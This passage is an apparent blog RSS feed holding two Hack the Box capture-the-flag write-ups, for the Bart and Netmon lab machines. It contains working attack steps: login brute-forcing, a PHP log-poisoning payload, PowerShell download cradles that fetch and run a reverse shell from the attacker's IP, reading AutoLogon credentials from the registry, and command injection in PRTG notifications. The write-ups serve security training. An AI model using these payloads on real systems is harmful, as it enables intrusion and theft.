&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Doing a &lt;code&gt;Get-FileHash evil.exe&lt;/code&gt; on the Windows host should now return the same hash as &lt;code&gt;shasum -a 256 evil.exe&lt;/code&gt; on Linux.&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #7: Bart</title><link>https://davidhamann.de/2020/03/21/htb-writeup-bart/</link><pubDate>Sat, 21 Mar 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/03/21/htb-writeup-bart/</guid><description>&lt;p&gt;After doing a couple more machines on &lt;a href="https://hackthebox.eu"&gt;Hack The Box&lt;/a&gt;, Bart was one that I definitely wanted to do a write-up for.&lt;/p&gt;
&lt;p&gt;We start with a bunch of web enumeration and discovering different directories and hostnames. Eventually, we discover a chat application, register our own user and do log poisoning to get our first low priv shell. Privilege escalation to Administrator is then accomplished by identifying AutoLogon credentials stored in the registry. On the way we read some source code, learn about 32/64-bit registry queries and running commands in a different user context.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and Enumeration&lt;/h2&gt;
&lt;p&gt;Our initial &lt;code&gt;nmap -sC -sV -oN nmap/init 10.10.10.81&lt;/code&gt; gives:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we only discovered one port (80), we do another scan for all ports (&lt;code&gt;nmap -p-&lt;/code&gt;) while having a first look at the site running at 10.10.10.81.&lt;/p&gt;
&lt;p&gt;We get a &lt;code&gt;Location: http://forum.bart.htb/&lt;/code&gt; header back. After adding the hostnames &lt;code&gt;forum.bart.htb&lt;/code&gt; and &lt;code&gt;bart.htb&lt;/code&gt; to &lt;code&gt;/etc/hosts&lt;/code&gt; we are presented with the following site:&lt;/p&gt;
&lt;p&gt;&lt;img alt="forum.bart.htb splash" loading="lazy" src="https://davidhamann.de/images/bart-splash.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The site gives us some interesting information about employee&amp;rsquo;s names and email addresses. Additionally, another employee entry for &amp;ldquo;Harvey Potter&amp;rdquo; is commented out in the HTML source.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!-- &amp;lt;div class=&amp;#34;owl-item&amp;#34; style=&amp;#34;width: 380px;&amp;#34;&amp;gt;&amp;lt;div class=&amp;#34;team-item&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;team-inner&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;pop-overlay&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;team-pop&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;team-info&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;name&amp;#34;&amp;gt;Harvey Potter&amp;lt;/div&amp;gt;
 &amp;lt;div class=&amp;#34;pos&amp;#34;&amp;gt;Developer@BART&amp;lt;/div&amp;gt;
[...]
--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;From the HTTP headers we also learn that we&amp;rsquo;re dealing with a relatively modern Windows 2016/2019/10 (IIS 10 server header) and a PHP 7.1.7 installation.&lt;/p&gt;
&lt;p&gt;The next step is to brute-force directories. It&amp;rsquo;s a little bit more involved this time as every request to the server returns a 200 status. To get around this, we&amp;rsquo;ll use &lt;code&gt;wfuzz&lt;/code&gt; and filter by the number of characters of the returned data:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wfuzz --hh 150693 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bart.htb/FUZZ&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After a while we discover the &lt;code&gt;/monitor&lt;/code&gt; directory:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;000000067: 301 1 L 10 W 145 Ch &amp;#34;forum&amp;#34; 
000001614: 301 1 L 10 W 147 Ch &amp;#34;monitor&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going to &lt;code&gt;http://bart.htb/monitor/&lt;/code&gt; gives us a &amp;ldquo;PHP Server Monitor&amp;rdquo; instance. A quick search for public exploits reveals nothing relevant for our use case. What we can do, however, is enumerating usernames via the &amp;ldquo;Forgot Password&amp;rdquo; feature. The obvious first thing to try are the employee names that we noted down earlier.&lt;/p&gt;
&lt;p&gt;&lt;img alt="PHP Server Monitor username enumeration - success" loading="lazy" src="https://davidhamann.de/images/bart-username-enumeration-success.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="PHP Server Monitor username enumeration - fail" loading="lazy" src="https://davidhamann.de/images/bart-username-enumeration-fail.png"&gt;&lt;/p&gt;
&lt;h2 id="brute-forcing-our-way-in"&gt;Brute-forcing our way in&lt;/h2&gt;
&lt;p&gt;Once we know that Daniel and Harvey are valid usernames, we can try brute-forcing the password. While CSRF tokens usually make it a bit harder as we would need to fetch the updated token for every request, in this case we can get around it by just passing the same token and a valid cookie header.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;hydra -L users.txt -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-25.txt &amp;#34;http-post-form://bart.htb/monitor/:csrf=43aa9be1c2751cd82f916413a9d6696b501a075b0bd0a818c3a126e5aa6f809f&amp;amp;user_name=^USER^&amp;amp;user_password=^PASS^&amp;amp;action=login:incorrect:H=Cookie\:PHPSESSID=utstuc3mhm4glhnre75qao4t59&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After a couple of minutes, we successfully discover the password – one that we could have also guessed in the first place, I&amp;rsquo;d say :-)&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[80][http-post-form] host: bart.htb login: Harvey password: potter
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Logging in with the creds redirects us to &lt;code&gt;monitor.bart.htb&lt;/code&gt;, so let&amp;rsquo;s also add this hostname to our &lt;code&gt;/etc/hosts/&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Server Monitor logged in" loading="lazy" src="https://davidhamann.de/images/bart-server-monitor.png"&gt;&lt;/p&gt;
&lt;p&gt;Once logged in we discover yet another hostname: &lt;code&gt;http://internal-01.bart.htb/&lt;/code&gt;. Let&amp;rsquo;s add this one as well and navigate there.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Chat system" loading="lazy" src="https://davidhamann.de/images/bart-chat-system.png"&gt;&lt;/p&gt;
&lt;p&gt;We land at another login prompt. This time for a &amp;ldquo;simple_chat&amp;rdquo; application.&lt;/p&gt;
&lt;h2 id="exploiting-the-left-over-registerphp--or-just-brute-force-again"&gt;Exploiting the left over &amp;ldquo;register.php&amp;rdquo; – or: just brute-force again&lt;/h2&gt;
&lt;p&gt;Googling for a few file names of the application, we quickly discover that this is the source code: &lt;a href="https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat"&gt;https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Skimming through the code, we don&amp;rsquo;t find anything too obvious in the login logic (the sql query looks vulnerable at first sight but is not, as the password is hashed before being included in the query and the username validation also strips quotes before).&lt;/p&gt;
&lt;p&gt;However, we could look into just creating a new user ourselves; the &lt;code&gt;register_form.php&lt;/code&gt; was apparently deleted on the server, but nothing stops us from sending a POST to register.php, which still exists:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;POST /simple_chat/register.php HTTP/1.1
Host: internal-01.bart.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal-01.bart.htb/simple_chat/login_form.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Cookie: PHPSESSID=7v28h3a0rk34cg5el3ggmvg60p
Upgrade-Insecure-Requests: 1
uname=itsme&amp;amp;passwd=itsokletmein&amp;amp;submit=Login
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An alternative approach would be to brute-force the login once more; this time it requires a slightly larger wordlist, but is still doable. As hydra was running a bit slow last time, let&amp;rsquo;s use &lt;code&gt;patator&lt;/code&gt; this time and start only with Harvey as username:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;patator http_fuzz url=http://internal-01.bart.htb/simple_chat/login.php method=POST body=&amp;#39;uname=Harvey&amp;amp;passwd=FILE0&amp;amp;submit=Login&amp;#39; 0=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-45.txt -x ignore:fgrep=&amp;#39;Location: login_form.php&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After about 2 minutes we get a hit:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;patator INFO - 302 354:0 1.051 | Password1 | 3502 | HTTP/1.1 302 Found
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Logging in, we see a chat and a log button at the top right:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Simple Chat logged in" loading="lazy" src="https://davidhamann.de/images/bart-chat-logged-in.png"&gt;&lt;/p&gt;
&lt;h2 id="log-poisoning-to-reverse-shell"&gt;Log poisoning to reverse shell&lt;/h2&gt;
&lt;p&gt;Clicking on &amp;ldquo;log&amp;rdquo; makes a XHR to:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/log/log.php?filename=log.txt&amp;amp;username=harvey
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going to &lt;code&gt;http://internal-01.bart.htb/log/log.txt&lt;/code&gt;, we can see that the log.txt file was created and includes the given username and our User-Agent header.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s try changing the file to &amp;ldquo;rce.php&amp;rdquo; and adding PHP code to the User-Agent header:&lt;/p&gt;
&lt;p&gt;Sending:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /log/log.php?filename=rce.php&amp;amp;username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: &amp;lt;?php echo 1+1; ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And then requesting &lt;code&gt;/log/rce.php HTTP/1.1&lt;/code&gt; gives us the following output (the number 2 being our executed code 1+1):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[2020-03-21 20:54:43] - harvey - 2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we can execute code by poisoning the log file, let&amp;rsquo;s prepare to get a reverse shell. I&amp;rsquo;ll use the &amp;ldquo;mini-reverse.ps1&amp;rdquo; from &lt;a href="https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5"&gt;https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To get the shell, we adjust &lt;code&gt;mini-reverse.ps1&lt;/code&gt; with our IP and desired port number, host it (&lt;code&gt;python3 -m http.server 80&lt;/code&gt;), start a netcat listener (&lt;code&gt;nc -lvnp 443&lt;/code&gt;), and then use a powershell download cradle inside the PHP code in the User-Agent header:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /log/log.php?filename=rce.php&amp;amp;username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: &amp;lt;?php system(&amp;#34;powershell -c iex (new-object net.webclient).downloadstring(&amp;#39;http://10.10.14.37/mini-reverse.ps1&amp;#39;)&amp;#34;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Doing another &lt;code&gt;GET /log/rce.php HTTP/1.1&lt;/code&gt; will now execute our code, download mini-reverse.ps1 and initiate our connect-back shell.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50173.
whoami
nt authority\iusr
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="escalate-to-administrator"&gt;Escalate to Administrator&lt;/h2&gt;
&lt;p&gt;After a few manual checks, we can run an privesc enumeration script like &lt;a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS"&gt;winPEAS&lt;/a&gt; or &lt;a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1"&gt;PowerUp&lt;/a&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell -c &amp;#34;iex(new-object net.webclient).downloadstring(&amp;#39;http://10.10.14.37/PowerUp.ps1&amp;#39;); Invoke-AllChecks&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we run PowerUp or the winPEAS.bat like above, however, we&amp;rsquo;ll likely miss a few things (namely registry settings), because we&amp;rsquo;re on a 64-bit system but running 32-bit PowerShell, as confirmed like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell.exe -c &amp;#34;[Environment]::Is64BitProcess&amp;#34;
False
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To do enumeration in a 64-bit process we could either download and execute something like the winPEAS.exe &lt;em&gt;binary&lt;/em&gt; or run an enumeration script by explicitly callling the 64-bit version of PowerShell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c &amp;#34;[Environment]::Is64BitProcess&amp;#34;
True
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So let&amp;rsquo;s run PowerUp again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c &amp;#34;iex(new-object net.webclient).downloadstring(&amp;#39;http://10.10.14.37/PowerUp.ps1&amp;#39;); Invoke-AllChecks&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This time we get a very obvious privilege escalation hint:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[*] Checking for Autologon credentials in registry...

DefaultDomainName : DESKTOP-7I3S68E
DefaultUserName : Administrator
DefaultPassword : 3130438f31186fbaf962f407711faddb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you&amp;rsquo;d wanted to read the registry values without PowerShell, you would naturally also need to specify the architecture:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;REG QUERY &amp;quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon&amp;quot; /v DefaultPassword&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip;won&amp;rsquo;t give you anything, whereas&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;REG QUERY &amp;quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon&amp;quot; /v DefaultPassword /reg:64&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip; will give you what you want (note &lt;code&gt;/reg:64&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="getting-only-the-flag-or-a-full-admin-shell"&gt;Getting only the flag or a full admin shell&lt;/h2&gt;
&lt;p&gt;The stored AutoLogon credentials already give us everything we need to root the box. We can now either just read the root flag or go ahead and get a full Administrator shell.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first try to read the root flag with our current shell. To do that, we can just run &lt;code&gt;Get-Content&lt;/code&gt; as the Administrator user (see my previous blog post: &lt;a href="https://davidhamann.de/2019/12/08/running-command-different-user-powershell/"&gt;Running commands in a specific user context in PowerShell&lt;/a&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell.exe -c &amp;#34;$user=&amp;#39;WORKGROUP\Administrator&amp;#39;; $pass=&amp;#39;3130438f31186fbaf962f407711faddb&amp;#39;; try { Invoke-Command -ScriptBlock { Get-Content C:\Users\Administrator\Desktop\root.txt } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }&amp;#34; 2&amp;gt;&amp;amp;1&amp;#34;

0074a38e6e...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, to get a proper Adminstrator shell, using PSExec and passing the creds is usually an easy way to go. We have one problem here, though: while the machine is listening on 135/445, the firewall doesn&amp;rsquo;t let us in. To get around a situation like this, we could open the port in the firewall (nah, not cool) or proxy the connection through another session (e.g. psexec through proxychains with meterpreter&amp;rsquo;s socks4a module), or just use what we&amp;rsquo;re &lt;em&gt;already&lt;/em&gt; using: another Invoke-Command as Admin, but this time to load our reverse shell script again.&lt;/p&gt;
&lt;p&gt;Starting our netcat listener again like before (using 443 once more so that we don&amp;rsquo;t need to change the script), we receive our administrator reverse shell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell.exe -c &amp;#34;$user=&amp;#39;WORKGROUP\Administrator&amp;#39;; $pass=&amp;#39;3130438f31186fbaf962f407711faddb&amp;#39;; try { Invoke-Command -ScriptBlock { iex(New-Object Net.WebClient).DownloadString(&amp;#39;http://10.10.14.37/mini-reverse.ps1&amp;#39;) } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) } catch { echo $_.Exception.Message }&amp;#34; 2&amp;gt;&amp;amp;1&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And here we go:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:50896.
whoami
bart\administrator
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cheers!&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #3: Netmon</title><link>https://davidhamann.de/2020/01/22/htb-writeup-netmon/</link><pubDate>Wed, 22 Jan 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/01/22/htb-writeup-netmon/</guid><description>&lt;p&gt;In today&amp;rsquo;s write-up we&amp;rsquo;re going to take a look at getting into Hack the Box&amp;rsquo;s retired Netmon machine, which was a relatively easy box if you just remembered that people tend to have bad password habits.&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;p&gt;We start with an nmap scan which gives us quite a few open ports:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; nmap -sV -sC -oN nmap/init 10.10.10.152

Nmap scan report for 10.10.10.152
Host is up (0.035s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19 11:18PM 1024 .rnd
| 02-25-19 09:15PM &amp;lt;DIR&amp;gt; inetpub
| 07-16-16 08:18AM &amp;lt;DIR&amp;gt; PerfLogs
| 02-25-19 09:56PM &amp;lt;DIR&amp;gt; Program Files
| 02-02-19 11:28PM &amp;lt;DIR&amp;gt; Program Files (x86)
| 02-03-19 07:08AM &amp;lt;DIR&amp;gt; Users
|_02-25-19 10:49PM &amp;lt;DIR&amp;gt; Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What immediately catches the eye is the ftpd which allows anonymous access on what appears to be the root directory. But before we start exploring this further, let&amp;rsquo;s have a quick look at port 80 to confirm the nmap result.&lt;/p&gt;
&lt;p&gt;We see the PRTG bandwith monitor web app running and can also confirm the version information in the lower left:&lt;/p&gt;
&lt;p&gt;&lt;img alt="PRTG bandwith monitor" loading="lazy" src="https://davidhamann.de/images/prtg-login.png"&gt;&lt;/p&gt;
&lt;p&gt;Googling for default credentials gives us &lt;code&gt;prtgadmin:prtgadmin&lt;/code&gt;, however, these don&amp;rsquo;t work ¯\&lt;em&gt;(ツ)&lt;/em&gt;/¯.&lt;/p&gt;
&lt;h2 id="looking-for-exploits"&gt;Looking for exploits&lt;/h2&gt;
&lt;p&gt;Doing a &lt;code&gt;searchsploit&lt;/code&gt; search for &lt;code&gt;PRTG&lt;/code&gt;, we find two exploits matching the running version – one of them for Denial of Service, the other one for an authenticated Remote Code Execution:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-------------------------------------------------------------------------- -----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/)
-------------------------------------------------------------------------- -----------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution | exploits/windows/webapps/46527.sh
PRTG Network Monitor &amp;lt; 18.1.39.1648 - Stack Overflow (Denial of Service) | exploits/windows_x86/dos/44500.py
PRTG Traffic Grapher 6.2.1 - &amp;#39;url&amp;#39; Cross-Site Scripting | exploits/java/webapps/34108.txt
------------------------------------------------------------------------------------- ------------------------
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Denial of Service is not what we want and the RCE will only work if we have valid credentials for the PRTG web interface.&lt;/p&gt;
&lt;h2 id="enumerating-ftp"&gt;Enumerating FTP&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s look at what the anonymous FTP access can give us, and while looking around, do another &lt;code&gt;nmap -p- 10.10.10.152&lt;/code&gt; to scan all TCP ports, so that we have something to come back to after the FTP enumeration.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While we cannot write files, we seem to have pretty wide read access. So much indeed, that we can directly snatch the &lt;code&gt;user.txt&lt;/code&gt; flag at &lt;code&gt;/Users/Public/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As we can access &lt;code&gt;/Windows/System32&lt;/code&gt;, we can also verify the OS version (&lt;code&gt;license.rtf&lt;/code&gt; mentions Windows 2016 – different than what nmap reported), which might be handy later on.&lt;/p&gt;
&lt;p&gt;Having the promising RCE in PRTG Network Monitor in the back of our minds, let&amp;rsquo;s see if we can find configuration data that might give us access to the web interface.&lt;/p&gt;
&lt;p&gt;Googling around, we quickly find &lt;a href="https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data"&gt;How PRTG Network Monitor Stores its Data&lt;/a&gt;, which tells us:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Windows Server 2012 (R2), &lt;strong&gt;Windows Server 2016&lt;/strong&gt;, Windows 10, Windows 8.1, Windows 8, Windows 7, Windows Server 2008 R2: &lt;code&gt;%programdata%\Paessler\PRTG Network Monitor&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;hellip; and:&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;/th&gt;
 &lt;th&gt;&lt;/th&gt;
 &lt;th&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;PRTG Configuration.dat&lt;/td&gt;
 &lt;td&gt;Monitoring configuration (i.e. probes, groups, devices, sensors, users, maps, reports, etc.)&lt;/td&gt;
 &lt;td&gt;XML&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;PRTG Configuration.old&lt;/td&gt;
 &lt;td&gt;Backup of previous version of monitoring configuration&lt;/td&gt;
 &lt;td&gt;XML&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;So let&amp;rsquo;s have a look at these and other config files at &lt;code&gt;/ProgramData/Paessler/PRTG Network Monitor&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To make the process of grepping through the files faster (as we don&amp;rsquo;t know exactly where and how PRTG Network Monitor stores files), we can actually download the whole folder: &lt;code&gt;wget -m ftp://10.10.10.152/ProgramData/Paessler&lt;/code&gt; (about 14 MB).&lt;/p&gt;
&lt;p&gt;Doing something like &lt;code&gt;grep -r . -A1 -ie 'password'&lt;/code&gt; in this folder gives way too many hits, so let&amp;rsquo;s narrow down on the &lt;code&gt;PRTG Configuration.old.bak&lt;/code&gt; first, as this isn&amp;rsquo;t a standard file and .bak files are generally interesting for findings.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;grep 'PRTG Configuration.old.bak' -A2 -ie 'password' | less&lt;/code&gt; reveals right at the top a username and password:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;dbpassword&amp;gt;
 &amp;lt;!-- User: prtgadmin --&amp;gt;
 PrTg@dmin2018
&amp;lt;/dbpassword&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="exploitation"&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Trying the password over at http://10.10.10.152 we still get &lt;code&gt;Your login has failed. Please try again!&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Thinking of bad password habits, though, we might guess that the password could still be the same but with a changed year suffix (as this one was found in an old backup file).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;prtgadmin:PrTg@dmin2019&lt;/code&gt; works immediately and we are greeted by the welcome screen:&lt;/p&gt;
&lt;p&gt;&lt;img alt="PRTG web interface" loading="lazy" src="https://davidhamann.de/images/prtg-admin-interface.png"&gt;&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Guessing the password year increment reads easy here, but it actually had me stuck longer than it should have :-)
&lt;/div&gt;

&lt;p&gt;Having access, we can now look at the exploit we found earlier via &lt;code&gt;searchsploit&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Examining it via &lt;code&gt;searchsploit -x 46527&lt;/code&gt; and reading a &lt;a href="https://www.codewatch.org/blog/?p=453"&gt;blog post of the vulnerability&lt;/a&gt;, we can see that it does command injection via a notification feature (by using a demo ps1 script) and through that adds a new administrative user to the machine.&lt;/p&gt;
&lt;p&gt;As this is not the stealthiest way, let&amp;rsquo;s see if we can exploit it in a slightly different way without adding a new user.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;Setup -&amp;gt; Account Settings -&amp;gt; Notifications&lt;/code&gt;, we can add a new notification and enable the &amp;ldquo;Execute Program&amp;rdquo; option as described in the above blog post. There, we find the two demo scripts and the &amp;ldquo;Parameter&amp;rdquo; field which we can (ab)use to add another command of our own, right after the argument to the demo script.&lt;/p&gt;
&lt;p&gt;At first, let&amp;rsquo;s try to do a simple ping to the attacker machine:&lt;/p&gt;
&lt;p&gt;&lt;img alt="PRTG Command Injection" loading="lazy" src="https://davidhamann.de/images/prtg-command-injection.png"&gt;&lt;/p&gt;
&lt;p&gt;And on the attacker machine:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; tcpdump -i tun0 ip proto \\icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
00:33:53.801858 IP 10.10.10.152 &amp;gt; kali-vm1: ICMP echo request, id 1, seq 2717, length 40
00:33:53.801890 IP kali-vm1 &amp;gt; 10.10.10.152: ICMP echo reply, id 1, seq 2717, length 40
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After clicking the &amp;ldquo;bell&amp;rdquo; icon on the right to send a test notification, the ICMP packet arrives, meaning we successfully injected the ping command.&lt;/p&gt;
&lt;p&gt;To now get a reverse shell, we can grab a Powershell one-liner from the excellent &lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell"&gt;swisskyrepo Reverse Shell Cheat Sheet&lt;/a&gt;, and use this instead of the ping:&lt;/p&gt;
&lt;p&gt;&lt;img alt="PRTG Command Injection 2" loading="lazy" src="https://davidhamann.de/images/prtg-command-injection2.png"&gt;&lt;/p&gt;
&lt;p&gt;All we need to do now is change the IP to our own, the port to 80 and start a netcat listener via &lt;code&gt;nc -lvnp 80&lt;/code&gt;. Sending another &amp;ldquo;test notification&amp;rdquo; then gives us a shell. And since PRTG Network Monitor is running as System, we are as well:&lt;/p&gt;
&lt;p&gt;&lt;img alt="PRTG system shell" loading="lazy" src="https://davidhamann.de/images/prtg-rooted.png"&gt;&lt;/p&gt;
